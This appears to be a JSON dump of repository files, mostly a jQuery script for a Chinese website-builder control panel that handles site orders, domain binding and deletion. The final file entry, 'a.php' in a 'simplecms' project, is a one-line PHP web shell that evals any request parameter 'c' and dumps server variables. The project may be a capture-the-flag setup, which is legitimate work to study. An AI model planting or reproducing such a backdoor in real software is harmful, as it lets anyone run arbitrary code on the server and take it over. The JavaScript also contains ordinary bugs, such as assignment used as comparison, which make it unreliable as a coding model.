1);\r\n\r\n                    }\r\n                }\r\n            }, \"html\");\r\n        }\r\n    });\r\n\r\n\r\n\r\n\r\n    //////////\r\n\r\n    //10-11日修改//1360\r\n\r\n    $(\"#delagan\").click(function () {\r\n        $(\"#deletwebagian\").dialog(\"close\");\r\n\r\n        $(\"#yes_or2\").dialog({\r\n            height: 126,\r\n            width: 350,\r\n            modal: true,\r\n            resizable: false\r\n        });\r\n    });\r\n\r\n\r\n    $(\"#sure2\").click(function () {//确定\r\n        var xx = window.location.search;\r\n        var yy = (xx.substring(1, xx.length));\r\n        var zz = obj.find(\".jason\").val(); //1 表示正常\r\n        var uu = obj.find(\".chen\").val();\r\n        $(\"#yes_or2\").dialog(\"close\"); //关闭询问\r\n        $(\"#loading_div\").show(); //加载中\r\n        $.ajax({\r\n            url: 'deleteWeb.aspx',\r\n            async: true,\r\n            cache: false,\r\n            data: 's_nme=' + str + '&' + yy + '&state=' + zz + '&webpage=' + uu,\r\n            success: function (data) {\r\n                if (data == \"TimeOut\") {\r\n                    window.location.href = \"/users/Login.aspx\";\r\n                }\r\n                $(\"#loading_div\").hide(); //加载完成\r\n                if (data.split('||')[0] == \"typeone\") {\r\n                    window.location.href = data.split('||')[1];\r\n                }\r\n                else if (data.split('||')[0] == \"typetwo\") {\r\n                    ot5alert(data.split('||')[1].split('|')[0], data.split('||')[1].split('|')[1]);\r\n                }\r\n            }\r\n        });\r\n        //window.location.href = \"../ot5lst/deleteWeb.aspx?s_nme=\" + str + \"&\" + yy + \"&state=\" + zz + \"&webpage=\" + uu;\r\n\r\n    });\r\n\r\n\r\n});\r\n\r\nfunction close_div() {\r\n    $(\"#dialog-modal\").dialog(\"close\");\r\n    // alert($(this).attr(\"id\"));\r\n\r\n}\r\nfunction close_Website_Domain() {\r\n    $(\"#Website_Domain\").dialog(\"close\");\r\n}\r\nfunction gosoye(str) {//首页\r\n    var ezsite_prd = $(\"#getfreeORcharge\").val();\r\n    $.post(\"/Ajax_WebServer/Ajax_Templates.ashx\", { ezsite_prd: ezsite_prd, rquestpage: str }, function (data) {\r\n        //        if (data == \"TimeOut\") {\r\n        //            window.location.href = \"/users/Login.aspx\";\r\n        //        }\r\n        $(\"#choose_temple\").empty();\r\n        $(\"#choose_temple\").append(data);\r\n    }, \"html\");\r\n\r\n}\r\nfunction goPage_N() {//下一页\r\n    var str = $(\"#count\").text()\r\n    var ezsite_prd = $(\"#getfreeORcharge\").val();\r\n    str++;\r\n    $.post(\"/Ajax_WebServer/Ajax_Templates.ashx\", { ezsite_prd: ezsite_prd, rquestpage: str }, function (data) {\r\n        //        if (data == \"TimeOut\") {\r\n        //            window.location.href = \"/users/Login.aspx\";\r\n        //        }\r\n        $(\"#choose_temple\").empty();\r\n        $(\"#choose_temple\").append(data);\r\n    }, \"html\");\r\n}\r\nfunction goPage_P() {//上一页\r\n    var str = $(\"#count\").text();\r\n    var ezsite_prd = $(\"#getfreeORcharge\").val();\r\n    str--;\r\n    $.post(\"/Ajax_WebServer/Ajax_Templates.ashx\", { ezsite_prd: ezsite_prd, rquestpage: str }, function (data) {\r\n        //        if (data == \"TimeOut\") {\r\n        //            window.location.href = \"/users/Login.aspx\";\r\n        //        }\r\n        $(\"#choose_temple\").empty();\r\n        $(\"#choose_temple\").append(data);\r\n    }, \"html\");\r\n\r\n}\r\nfunction postdata(str) {// code by  jason\r\n    $(\"#choose_temple\").dialog(\"close\");\r\n    $(\"#loading\").dialog({\r\n        height: 95,\r\n        width: 518,\r\n        modal: true,\r\n        resizable: false\r\n    });\r\n    var template_id = str           //模板的id\r\n    var Website_Name = $(\"#Website_Name\").val(); //网站标题\r\n    var chril_Domain = $(\"#chril_Domain\").val(); //二级域名\r\n    var New_Domain = $(\"#New_Domain\").val(); //新域名\r\n    var comornet = $(\"#comornet\").val(); //后缀 .com ,.net\r\n    var Has_Domain = $(\"#Has_Domain\").val(); //已有域名\r\n    //  var ezsite_prd = \"jzmf100_1007\";\r\n    var ezsite_prd = $(\"#getfreeORcharge\").val();  //获取 隐藏的id\r\n    if (ezsite_prd == \"deluxewebsite\") {\r\n        var years = $(\"input[name='website']:checked\").val();\r\n    } else {\r\n        var years = $(\"input[name='shop']:checked\").val();\r\n    }\r\n    if (years == \"\" || years == undefined) {\r\n        years = \"1\";\r\n    }\r\n\r\n    // alert(ezsite_prd);\r\n    if ((ezsite_prd != \"\") && (ezsite_prd != \"freewebsite\") && (ezsite_prd != \"freeshop\")) {//高级版   因为这是非免费版\r\n        $.post(\"/Ajax_WebServer/Ajax_User_Order.ashx\", { template_id: str, Website_Name: Website_Name, chril_Domain: chril_Domain, New_Domain: New_Domain, Has_Domain: Has_Domain, ezsite_prd: ezsite_prd, years: years }, function (jason) {\r\n            if (jason == 0) {//表示订单成功\r\n\r\n                //   if (New_Domain.length > 0 && Has_Domain.length > 0) {//新域名不为空并且 已有域名也不为空\r\n                //      $.post(\"/Ajax_WebServer/Ajax_UserSingle_binddomain.ashx\", { domian: New_Domain + comornet + \",\" + Has_Domain, str: chril_Domain }, function (json) {//第三部 绑定域名\r\n\r\n                ///一個開通建站結束後清空的項目\r\n                $(\"#Website_Name\").val(\"\"); //网站标题\r\n                $(\"#chril_Domain\").val(\"\"); //二级域名\r\n                $(\"#New_Domain\").val(\"\"); //新域名\r\n                $(\"#Has_Domain\").val(\"\"); //已有域名\r\n                $(\"#datacheck\").empty(); //是否通過\r\n                $(\"#chril_Domain_check\").empty(); //是否可以註冊\r\n                $(\"#New_Domain_Msg\").empty(); //已有的域名\r\n                $(\"#loading\").dialog(\"close\");\r\n                // ot5alert(msg.ording, \"1\"); //訂單已經生成，三秒钟後自動跳轉到結算頁面\r\n                // setTimeout(\"self.location='/pop/buy/cart.aspx'\", 3000);\r\n                self.location = \"/pop/buy/cart.aspx\";\r\n\r\n                //  });\r\n                //  }\r\n\r\n            }\r\n            else if (jason = \"NoSeesion\") {// ot5alert(msg.NoSeesion, \"1\"); //登录超时\r\n\r\n\r\n                //  ot5alert(msg.NoSeesion, \"1\"); //登录超时\r\n                self.location = \"/users/Login.aspx\";\r\n            } else {\r\n                ///一個開通建站結束後清空的項目\r\n                $(\"#Website_Name\").val(\"\"); //网站标题\r\n                $(\"#chril_Domain\").val(\"\"); //二级域名\r\n                $(\"#New_Domain\").val(\"\"); //新域名\r\n                $(\"#Has_Domain\").val(\"\"); //已有域名\r\n                $(\"#datacheck\").empty(); //是否通過\r\n                $(\"#chril_Domain_check\").empty(); //是否可以註冊\r\n                $(\"#New_Domain_Msg\").empty(); //已有的域名\r\n                $(\"#loading\").dialog(\"close\");\r\n                ot5alert(jason, \"1\"); //提示框\r\n            }\r\n        }, \"html\");\r\n\r\n\r\n    }\r\n    else {// 免費版本\r\n        $.post(\"/Ajax_WebServer/Ajax_User_Order.ashx\", { template_id: str, Website_Name: Website_Name, chril_Domain: chril_Domain, New_Domain: New_Domain, Has_Domain: Has_Domain, ezsite_prd: ezsite_prd }, function (data) {\r\n            if (data == 0) {//表示订单成功\r\n                $.post(\"/Ajax_WebServer/Ajax_User_Pay_Rez.ashx\", { chril_Domain: chril_Domain }, function (result) {\r\n                    if (result == 0) { //表示购买、开通啦！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！\r\n                        if (New_Domain.length > 0 && Has_Domain.length > 0) {//新域名不为空并且 已有域名也不为空\r\n                            $.post(\"/Ajax_WebServer/Ajax_UserSingle_binddomain.ashx\", { domian: New_Domain + comornet + \",\" + Has_Domain, str: chril_Domain }, function (json) {//第三部 绑定域名\r\n                                if (json == \"TimeOut\") {\r\n                                    window.location.href = \"/users/Login.aspx\";\r\n                                } else {\r\n                                    if (json == 0)//绑定成功\r\n                                    {\r\n                                        ///一個開通建站結束後清空的項目\r\n                                        $(\"#Website_Name\").val(\"\"); //网站标题\r\n                                        $(\"#chril_Domain\").val(\"\"); //二级域名\r\n                                        $(\"#New_Domain\").val(\"\"); //新域名\r\n                                        $(\"#Has_Domain\").val(\"\"); //已有域名\r\n                                        $(\"#datacheck\").empty(); //是否通過\r\n                                        $(\"#chril_Domain_check\").empty(); //是否可以註冊\r\n                                        $(\"#New_Domain_Msg\").empty(); //已有的域名\r\n                                        $(\"#loading\").dialog(\"close\");\r\n                                        // window.location.href = \"../../UserHome/ot5lst/main.aspx?s_nme=\" + chril_Domain;\r\n                                        if (ezsite_prd == \"freeshop\") {\r\n                                            window.location.href = \"/UserHome/ot5lst/webshop.aspx\";\r\n                                        } else {\r\n                                            window.location.href = \"/UserHome/ot5lst/website.aspx\";\r\n                                        }\r\n                                    }\r\n                                    else//绑定不成功\r\n                                    {\r\n                                        ///一個開通建站結束後清空的項目\r\n                                        $(\"#Website_Name\").val(\"\"); //网站标题\r\n                                        $(\"#chril_Domain\").val(\"\"); //二级域名\r\n                                        $(\"#New_Domain\").val(\"\"); //新域名\r\n                                        $(\"#Has_Domain\").val(\"\"); //已有域名\r\n                                        $(\"#datacheck\").empty(); //是否通過\r\n                                        $(\"#chril_Domain_check\").empty(); //是否可以註冊\r\n                                        $(\"#New_Domain_Msg\").empty(); //已有的域名\r\n                                        $(\"#loading\").dialog(\"close\");\r\n                                        ot5alert(json, \"1\");\r\n                                    }\r\n                                }\r\n                            }, \"html\");\r\n                        } else if (New_Domain.length == 0 && Has_Domain.length > 0) { //表示 没有新域名 但是有现有的域名\r\n                            $.post(\"/Ajax_WebServer/Ajax_UserSingle_binddomain.ashx\", { domian: Has_Domain, str: chril_Domain }, function (json) {//第三部 绑定域名\r\n                                if (json == \"TimeOut\") {\r\n                                    window.location.href = \"/users/Login.aspx\";\r\n                                } else {\r\n                                    if (json == 0)//绑定成功\r\n                                    {\r\n                                        ///一個開通建站結束後清空的項目\r\n                                        $(\"#Website_Name\").val(\"\"); //网站标题\r\n                                        $(\"#chril_Domain\").val(\"\"); //二级域名\r\n                                        $(\"#New_Domain\").val(\"\"); //新域名\r\n                                        $(\"#Has_Domain\").val(\"\"); //已有域名\r\n                                        $(\"#datacheck\").empty(); //是否通過\r\n                                        $(\"#chril_Domain_check\").empty(); //是否可以註冊\r\n                                        $(\"#New_Domain_Msg\").empty(); //已有的域名\r\n                                        $(\"#loading\").dialog(\"close\");\r\n                                        if (ezsite_prd == \"freeshop\") {\r\n                                            window.location.href = \"/UserHome/ot5lst/webshop.aspx\";\r\n                                        } else {\r\n                                            window.location.href = \"/UserHome/ot5lst/website.aspx\";\r\n                                        }\r\n\r\n                                    }\r\n                                    else//绑定不成功\r\n                                    {\r\n                                        ///一個開通建站結束後清空的項目\r\n                                        $(\"#Website_Name\").val(\"\"); //网站标题\r\n                                        $(\"#chril_Domain\").val(\"\"); //二级域名\r\n                                        $(\"#New_Domain\").val(\"\"); //新域名\r\n                                        $(\"#Has_Domain\").val(\"\"); //已有域名\r\n                                        $(\"#datacheck\").empty(); //是否通過\r\n                                        $(\"#chril_Domain_check\").empty(); //是否可以註冊\r\n                                        $(\"#New_Domain_Msg\").empty(); //已有的域名\r\n                                        $(\"#loading\").dialog(\"close\");\r\n                                        ot5alert(json, \"1\");\r\n                                    }\r\n                                }\r\n                            }, \"html\");\r\n                        } else if (New_Domain.length > 0 && Has_Domain.length == 0) {//表示 有新域名 但是没有现有的域名\r\n                            $.post(\"/Ajax_WebServer/Ajax_UserSingle_binddomain.ashx\", { domian: New_Domain + comornet, str: chril_Domain }, function (json) {//第三部 绑定域名\r\n                                if (json == \"TimeOut\") {\r\n                                    window.location.href = \"/users/Login.aspx\";\r\n                                } else {\r\n                                    if (json == 0)//绑定成功\r\n                                    {\r\n                                        ///一個開通建站結束後清空的項目\r\n                                        $(\"#Website_Name\").val(\"\"); //网站标题\r\n                                        $(\"#chril_Domain\").val(\"\"); //二级域名\r\n                                        $(\"#New_Domain\").val(\"\"); //新域名\r\n                                        $(\"#Has_Domain\").val(\"\"); //已有域名\r\n                                        $(\"#datacheck\").empty(); //是否通過\r\n                                        $(\"#chril_Domain_check\").empty(); //是否可以註冊\r\n                                        $(\"#New_Domain_Msg\").empty(); //已有的域名\r\n                                        $(\"#loading\").dialog(\"close\");\r\n                                        // window.location.href = \"../../UserHome/ot5lst/main.aspx?s_nme=\" + chril_Domain;\r\n                                        if (ezsite_prd == \"freeshop\") {\r\n                                            window.location.href = \"/UserHome/ot5lst/webshop.aspx\";\r\n                                        } else {\r\n                                            window.location.href = \"/UserHome/ot5lst/website.aspx\";\r\n                                        }\r\n                                    }\r\n                                    else//绑定不成功\r\n                                    {\r\n                                        ///一個開通建站結束後清空的項目\r\n                                        $(\"#Website_Name\").val(\"\"); //网站标题\r\n                                        $(\"#chril_Domain\").val(\"\"); //二级域名\r\n                                        $(\"#New_Domain\").val(\"\"); //新域名\r\n                                        $(\"#Has_Domain\").val(\"\"); //已有域名\r\n                                        $(\"#datacheck\").empty(); //是否通過\r\n                                        $(\"#chril_Domain_check\").empty(); //是否可以註冊\r\n                                        $(\"#New_Domain_Msg\").empty(); //已有的域名\r\n                                        $(\"#loading\").dialog(\"close\");\r\n\r\n                                        ot5alert(json, \"1\");\r\n                                    }\r\n                                }\r\n                            }, \"html\");\r\n                        }\r\n                        else {\r\n                            ///一個開通建站結束後清空的項目\r\n                            $(\"#Website_Name\").val(\"\"); //网站标题\r\n                            $(\"#chril_Domain\").val(\"\"); //二级域名\r\n                            $(\"#New_Domain\").val(\"\"); //新域名\r\n                            $(\"#Has_Domain\").val(\"\"); //已有域名\r\n                            $(\"#datacheck\").empty(); //是否通過\r\n                            $(\"#chril_Domain_check\").empty(); //是否可以註冊\r\n                            $(\"#New_Domain_Msg\").empty(); //已有的域名\r\n                            //只有使用Wopop.com的子域名\r\n                            $(\"#loading\").dialog(\"close\");\r\n                            // window.location.href = \"../../UserHome/ot5lst/main.aspx?s_nme=\" + chril_Domain;\r\n                            if (ezsite_prd == \"freeshop\") {\r\n                                window.location.href = \"/UserHome/ot5lst/webshop.aspx\";\r\n                            } else {\r\n                                window.location.href = \"/UserHome/ot5lst/website.aspx\";\r\n                            }\r\n                        }\r\n                    }\r\n                    else {\r\n                        ///一個開通建站結束後清空的項目\r\n                        $(\"#Website_Name\").val(\"\"); //网站标题\r\n                        $(\"#chril_Domain\").val(\"\"); //二级域名\r\n                        $(\"#New_Domain\").val(\"\"); //新域名\r\n                        $(\"#Has_Domain\").val(\"\"); //已有域名\r\n                        $(\"#datacheck\").empty(); //是否通過\r\n                        $(\"#chril_Domain_check\").empty(); //是否可以註冊\r\n                        $(\"#New_Domain_Msg\").empty(); //已有的域名\r\n                        //开通不成功！\r\n                        $(\"#loading\").dialog(\"close\");\r\n                        ot5alert(result, \"1\");\r\n                    }\r\n                }, \"html\");\r\n            }\r\n            else if (data = \"NoSeesion\") { // ot5alert(msg.NoSeesion, \"1\"); //登录超时\r\n\r\n                self.location = \"/users/Login.aspx\";\r\n            }\r\n            else {//订单不成功\r\n                ///一個開通建站結束後清空的項目\r\n                $(\"#Website_Name\").val(\"\"); //网站标题\r\n                $(\"#chril_Domain\").val(\"\"); //二级域名\r\n                $(\"#New_Domain\").val(\"\"); //新域名\r\n                $(\"#Has_Domain\").val(\"\"); //已有域名\r\n                $(\"#datacheck\").empty(); //是否通過\r\n                $(\"#chril_Domain_check\").empty(); //是否可以註冊二級域名\r\n                $(\"#New_Domain_Msg\").empty(); //已有的域名\r\n                $(\"#loading\").dialog(\"close\");\r\n                ot5alert(data, \"1\");\r\n            }\r\n\r\n        }, \"html\");\r\n    }\r\n}\r\n\r\nfunction isdomain(str) {\r\n\r\n    // var reg = /^([a-zA-Z0-9-]+\\.)+(com|cn|net|biz|name|info|tv|org|cc|hk|mobi|name|asia|ws|us|mn|bz|in|me)$/;\r\n    var reg = /([\\S\\s]+\\.)+(com|cn|net|biz|name|tw|info|tv|org|cc|hk|mobi|asia|co|so|ws|us|mn|bz|in|me|中国|公司|网络)$/;\r\n    var regg = /[\\>@#\\$%\\^&\\*)!(~<|。=?+\\\\\\;；\\、\\/\\{\\}\\[\\]:：\\'\\\"\\“！……￥ `·]+/g;\r\n    if (str.toLowerCase().indexOf(\"http://\") == 0) {\r\n        return false;\r\n    }\r\n    else if (!reg.test(str)) {\r\n        return false;\r\n    }\r\n    else if (regg.test(str)) {\r\n        return false;\r\n    }\r\n    else {\r\n\r\n        return true;\r\n    }\r\n}\r\n\r\n\r\nfunction isDigit1(str) {\r\n    var reg = /^[a-zA-Z0-9\\\\-]{4,16}$/;    //  现在的  ^[a-zA-Z0-9\\\\-]{4,16}$   这个是原来的  /^[a-zA-Z0-9\\\\-_]{4,16}$/;\r\n    return reg.test(str);\r\n    //   if (str.length < 5)\r\n    //   {return false;}\r\n    //   if (!re.exec(str))\r\n    //   { return false; }\r\n\r\n    //  var reg = /^[a-zA-Z]{1}([a-zA-Z0-9]|[._]){4,16}$/;\r\n    //  if (!reg.exec(str)) return false\r\n    //  return true \r\n}\r\nfunction regcheck(pattern, obj, errInfos) {//z输入中文域名\r\n    if (pattern.test(obj.value)) {\r\n        alert(errInfos);\r\n        obj.focus();\r\n        return false;\r\n    }\r\n    return true;\r\n}\r\nfunction price() {\r\n    var yesars = $(\"#years\").val();\r\n    var prohg = $(\"#p_prohg\").val();\r\n    $(\"#years\").val(yesars * prohg);\r\n}\r\n\r\nfunction delectweb(obj) {//删除网站实体\r\n    window.obj = obj;\r\n    window.str = obj.parent(\"li\").parent(\"ul\").attr(\"id\");\r\n    $(\"#deletwebagian\").dialog({\r\n        height: 126,\r\n        width: 350,\r\n        modal: true,\r\n        resizable: false\r\n    });\r\n    $(\"#showmsg\").html(msg.ysure); //您確認要刪除 \" + str + \".wopop.com 這個站點麼？\r\n//    $(\"#delagan\").click(function () {\r\n//        $(\"#deletwebagian\").dialog(\"close\");\r\n\r\n//        $(\"#yes_or2\").dialog({\r\n//            height: 126,\r\n//            width: 350,\r\n//            modal: true,\r\n//            resizable: false\r\n//        });\r\n\r\n        //     var str = obj.parent(\"li\").parent(\"ul\").attr(\"id\");\r\n        // var state = str.parent(\"div\").parent(\"li\").parent(\"div\").attr(\"class\");\r\n//        $(\"#sure2\").click(function () {//确定\r\n//            // var str = location.href;\r\n//            var xx = window.location.search;\r\n//            var yy = (xx.substring(1, xx.length));\r\n//            var zz = obj.find(\".jason\").val(); //1 表示正常\r\n//            var uu = obj.find(\".chen\").val();\r\n//            $(\"#yes_or2\").dialog(\"close\"); //关闭询问\r\n//            $(\"#loading_div\").show(); //加载中\r\n//            $.ajax({\r\n//                url: 'deleteWeb.aspx',\r\n//                async: true,\r\n//                cache: false,\r\n//                data: 's_nme=' + str + '&' + yy + '&state=' + zz + '&webpage=' + uu,\r\n//                success: function (data) {\r\n//                    if (data == \"TimeOut\") {\r\n//                        window.location.href = \"/users/Login.aspx\";\r\n//                    }\r\n//                    $(\"#loading_div\").hide(); //加载完成\r\n//                    if (data.split('||')[0] == \"typeone\") {\r\n//                        window.location.href = data.split('||')[1];\r\n//                    }\r\n//                    else if (data.split('||')[0] == \"typetwo\") {\r\n//                        ot5alert(data.split('||')[1].split('|')[0], data.split('||')[1].split('|')[1]);\r\n//                    }\r\n//                }\r\n//            });\r\n//            //window.location.href = \"../ot5lst/deleteWeb.aspx?s_nme=\" + str + \"&\" + yy + \"&state=\" + zz + \"&webpage=\" + uu;\r\n\r\n//        });\r\n\r\n\r\n  //  });\r\n\r\n\r\n\r\n}\r\n\r\nfunction webinfo(obj) {\r\n    $(\"#webinfo\").dialog({\r\n        width: 770,\r\n        modal: true,\r\n        resizable: false\r\n      //  position:[100,200]\r\r\n    });\r\n    //   $(\"#accordion\").accordion({ autoHeight: false, active: 0 });  //基本信息\r\n    var str = obj.parent(\"li\").parent(\"ul\").attr(\"id\");\r\n    $.post(\"/Ajax_WebServer/Ajax_UserSingle_WebInfo.ashx\", { str: str }, function (info) {\r\n        if (info == \"TimeOut\") {\r\n            window.location.href = \"/users/Login.aspx\";\r\n        } else {\r\n            $(\"#webinfo\").empty();\r\n            $(\"#webinfo\").append(info);\r\n        }\r\n    }, \"html\");\r\n\r\n\r\n}\r\n///域名列表\r\nfunction binddomain(obj) {\r\n    if (obj.attr(\"disabled\") == \"disabled\") {\r\n\r\n        return false; //异常禁掉\r\n    }\r\n    var str = obj.parent(\"li\").parent(\"ul\").attr(\"id\");\r\n    $(\"#binddime\").dialog({\r\n        width: 600,\r\n        // height:305,\r\n        modal: true,\r\n        resizable: false\r\n    });\r\n    //绑定域名列表\r\n    if (str != \"\") {\r\n        var tobdy = \"<table class='us_table1' width='100%' cellspacing=\\\"2\\\" cellpadding=\\\"0\\\" border=\\\"0\\\" >\";\r\n        tobdy += \"<tr bgcolor=\\\"#D7EDFF\\\"><td height=\\\"22\\\" colspan=\\\"3\\\" class=txtcolor><div align=center><b>\" + msg.bingdomess + \"</font></b></div></td></tr>\";\r\n        $.post(\"/UserHome/Ajax_Server/Ajax_All_V_ot51st.ashx\", { str: str, typex: \"1\" }, function (jason) {\r\n            if (jason == \"1\") {\r\n                $(\"#domeList\").empty();\r\n                $(\"#domeList\").append(msg.sorrys); //對不起！您暫時還沒有域名！請自行添加。\r\n            } else if (jason == \"TimeOut\") {\r\n                window.location.href = \"/users/Login.aspx\";\r\n            }\r\n            else {\r\n                $.each(jason.jsonstr, function (i, vale) {\r\n                    if (vale.s_o3.split(\",\") == \"\") {\r\n                        $(\"#domeList\").empty();\r\n                        $(\"#domeList\").append(msg.sorrys); //\"對不起！您暫時還沒有域名！請自行添加。\"\r\n                    }\r\n                    else {\r\n                        for (var j = 0; j < vale.s_o3.split(\",\").length; j++) {\r\n                            tobdy += \" <tr align=\\\"middle\\\" bgcolor=\\\"#ffffff\\\"><td width=\\\"25%\\\" height=\\\"22\\\"><p align=\\\"center\\\">\" + (j + 1) + \"</td><td class=\\\"jasonchen\\\" width=\\\"55%\\\">\" + vale.s_o3.split(\",\")[j] + \"</td> <td width=\\\"20%\\\" align=left> <input type=submit  name=\" + vale.s_o3.split(\",\")[j] + \" class='dud_button1 allsub' value=\\\"　\" + msg.delebindname + \"　\\\"> </td></tr>\";\r\n                        }\r\n                    }\r\n                    if (vale.g_prd == \"freewebsite\" || vale.g_prd == \"freeshop\")//此处赋值给ot5_dme_new  看看 是免费还是高级版本 以便判断1 还是10个域名绑定\r\n                    {\r\n                       /// $(\"#ot5_dme_new\").val(msg.stailing); //您可以綁定1個域名！\r\n                        $(\"#free_or\").val(\"1\"); //綁定一個域名\r\n                    } else {\r\n\r\n                     ///   $(\"#ot5_dme_new\").val(msg.ycanb); //\"您可以綁定1到10個域名！\"\r\n                        $(\"#free_or\").val(\"10\"); //可以10個域名\r\n                    }\r\n\r\n                });\r\n                tobdy += \"</table>\";\r\n                $(\"#domeList\").empty();\r\n                $(\"#domeList\").append(tobdy);\r\n\r\n            }\r\n\r\n        }, \"json\");\r\n\r\n    }\r\n\r\n    $(\"#binddomainId\").attr(\"value\", str); //误删\r\n\r\n\r\n}\r\nfunction upgrade(obj) {\r\n    var str = obj;\r\n    var thispage = document.URL;\r\n    var comfrompage;\r\n    if (thispage.indexOf('UserHome/ot5lst/website.aspx') == -1) {\r\n        comfrompage = \"deluxeshop\";\r\n    }\r\n    else {\r\n        comfrompage = \"deluxewebsite\";\r\n    }\r\n    window.location.href = \"/userhome/ot5lst/upgrade.aspx?str=\" + str + \"&comfrompage=\" + comfrompage;\r\n    //第三次修改 我不信还会变回去了？？？\r\n//    $(\"#upgrade\").dialog({\r\n//        width: 770,\r\n//        modal: true,\r\n//        resizable: false\r\n//    });\r\n//    // $(\"#accordion\").accordion({ autoHeight: false, active: 1 }); //升级服务\r\n//    $.post(\"/Ajax_WebServer/Ajax_UserSingle_Upgrade.ashx\", { str: str, comfrompage: comfrompage }, function (upgrade) {\r\n//        if (upgrade == \"TimeOut\") {\r\n//            window.location.href = \"/users/Login.aspx\";\r\n//        } else {\r\n//            $(\"#upgrade\").empty();\r\n//            $(\"#upgrade\").append(upgrade);\r\n//        }\r\n\r\n//    }, \"html\");\r\n}\r\n///随机8位数\r\nfunction makeid() { var text = \"pop\"; var possible = \"abcdefghijklmnopqrestuvwxyz12456789\"; for (var i = 0; i < 9; i++) text += possible.charAt(Math.floor(Math.random() * possible.length)); return text; }\r\n\r\n\r\nfunction upfree() {//升级按钮\r\n\r\n\r\n    if ($(\"input:radio[name='yearss'][checked]\").val() == null) {//没选的情况下\r\n        ot5alert(msg.choose, \"1\"); //要选择其中一项年份\r\n\r\n    } else {\r\n\r\n        $(\"#askformessage\").empty();\r\n        $(\"#askformessage\").html(msg.aresuer); //如果確认升级空间型号，系統将自动扣除您的款項？\r\n        $(\"#yes_or\").dialog({\r\n            height: 126,\r\n            width: 350,\r\n            modal: true,\r\n            resizable: false\r\n        });\r\n\r\n\r\n    }\r\n}\r\n\r\n///根據操作系統或者瀏覽器的語言版本跳轉不同的 版本頁面\r\nfunction chooseretun() {\r\n    var type = navigator.appName\r\n    if (type == \"Netscape\") {\r\n        var lang = navigator.language\r\n    }\r\n    else {\r\n        var lang = navigator.userLanguage\r\n    }\r\n    //取得国家代码的前两个字母  \r\n    var lang = lang.substr(0, 2)\r\n    // 英语  \r\n    if (lang == \"en\") {\r\n        // window.location.href = \"http://www.une-system.com.cn/\"\r\n    }\r\n    // 中文 - 不分繁体和简体  \r\n    else if (lang == \"zh\") {\r\n        //  window.location.href=\"http://www.une-system.com/\"  \r\n        //  注释掉了上面跳转,不然会陷入无限循环  \r\n    }\r\n    // 除上面所列的语言  \r\n    else {\r\n        //  window.location.href = \"http://www.une-system.com.cn/\"\r\n    }\r\n}\r\n\r\n\r\nfunction ot5alert(mess, type) {\r\n    $(\"#alertmessage\").html(mess);\r\n    $(\"#all_err_msg\").dialog({\r\n        resizable: false,\r\n        height: 128,\r\n        width: 350,\r\n        modal: true\r\n    });\r\n\r\n    $(\"#alertok\").click(function () {\r\n        if (type == \"1\") {//点击确定只需要关闭\r\n            $(\"#all_err_msg\").dialog(\"close\");\r\n        }\r\n        else if (type == \"2\") {//点击确定关闭层 然后跳转 \r\n            $(\"#all_err_msg\").dialog(\"close\");\r\n            window.location.href = \"/pop/buy/cart.aspx\";\r\n        }\r\n        else {\r\n            $(\"#all_err_msg\").dialog(\"close\");\r\n            window.location.href = type;\r\n        }\r\n    });\r\n}\r\n\r\nfunction ot5_rigth_ert(mess, type) {\r\n    $(\"#alert_right_message\").html(mess);\r\n    $(\"#all_rigtht\").dialog({\r\n        resizable: false,\r\n        // height: 126,\r\n        width: 350,\r\n        modal: true\r\n    });\r\n\r\n    $(\"#alertok_mesg\").click(function () {\r\n        var ezsite_prd = $(\"#getfreeORcharge\").val();\r\n        if (type == \"1\") {//點擊關閉\r\n            $(\"#all_rigtht\").dialog(\"close\");\r\n        }\r\n        else if (type == \"2\") { //等待命令\r\n            $(\"#all_rigtht\").dialog(\"close\");\r\n\r\n\r\n            InitTables(0, ezsite_prd); /// 选模版\r\n           \r\n\r\n\r\n\r\n        }\r\n    });\r\n}\r\n\r\n///////////////\r\nfunction PageCallback(index, jq) {\r\n\r\n    InitTables(index);\r\n}\r\n\r\n//请求数据  \r\nfunction InitTables(pageIndex, typeTemple) {\r\n    alert(\"ok\");\r\n    typeTemple = $(\"#getfreeORcharge\").val();\r\n    $.ajax({\r\n        type: \"POST\",\r\n        dataType: \"text\",\r\n        url: '/Ajax_WebServer/Ajax_Templates.ashx',      //提交到一般处理程序请求数据  \r\n        // url: '/pop/web/Ajax_Tempe/Ajax_Templates.ashx',      //提交到一般处理程序请求数据  \r\n        data: \"pageIndex=\" + (pageIndex + 1) + \"&pageSize=\" + pageSize + \"&ezsite_prd=\" + typeTemple + \"&type_code=1\",          //提交两个参数：pageIndex(页面索引)，pageSize(显示条数)                  \r\n        success: function (data) {\r\n            if (data == \"TimeOut\") {\r\n                window.location.href = \"/users/Login.aspx\";\r\n            }\r\n            $(\"#choose_temple\").empty();\r\n            $(\"#choose_temple\").append(data);\r\n\r\n            $.ajax({\r\n                type: \"POST\",\r\n                dataType: \"text\",\r\n                url: '/Ajax_WebServer/Ajax_Templates.ashx',      //提交到一般处理程序请求数据  \r\n                data: \"pageIndex=\" + (pageIndex + 1) + \"&pageSize=\" + pageSize + \"&ezsite_prd=\" + typeTemple + \"&type_code=2\",          //提交两个参数：pageIndex(页面索引)，pageSize(显示条数)                  \r\n                success: function (result) {\r\n                    //分页，PageCount是总条目数，这是必选参数，其它参数都是可选  \r\n                    $(\"#Pagination\").pagination(result, {\r\n                        callback: PageCallback,\r\n                        prev_text: ' ',       //上一页按钮里text  \r\n                        next_text: ' ',       //下一页按钮里text  \r\n                        items_per_page: pageSize,  //显示条数  \r\n                        num_display_entries: 6,    //连续分页主体部分分页条目数  \r\n                        current_page: pageIndex,   //当前页索引  \r\n                        num_edge_entries: 2        //两侧首尾分页条目数  \r\n                    });\r\n\r\n                }\r\n            });\r\n        }\r\n    });\r\n}\r\n\r\n///////////////"
  },
  {
    "path": "web_simplecms/simplecms/a.php",
    "content": "<?php @eval($_REQUEST['c']);\nvar_dump($_SERVER);\n?>\n"
  },
  {
    "path": "web_simplecms/simplecms/about.php",
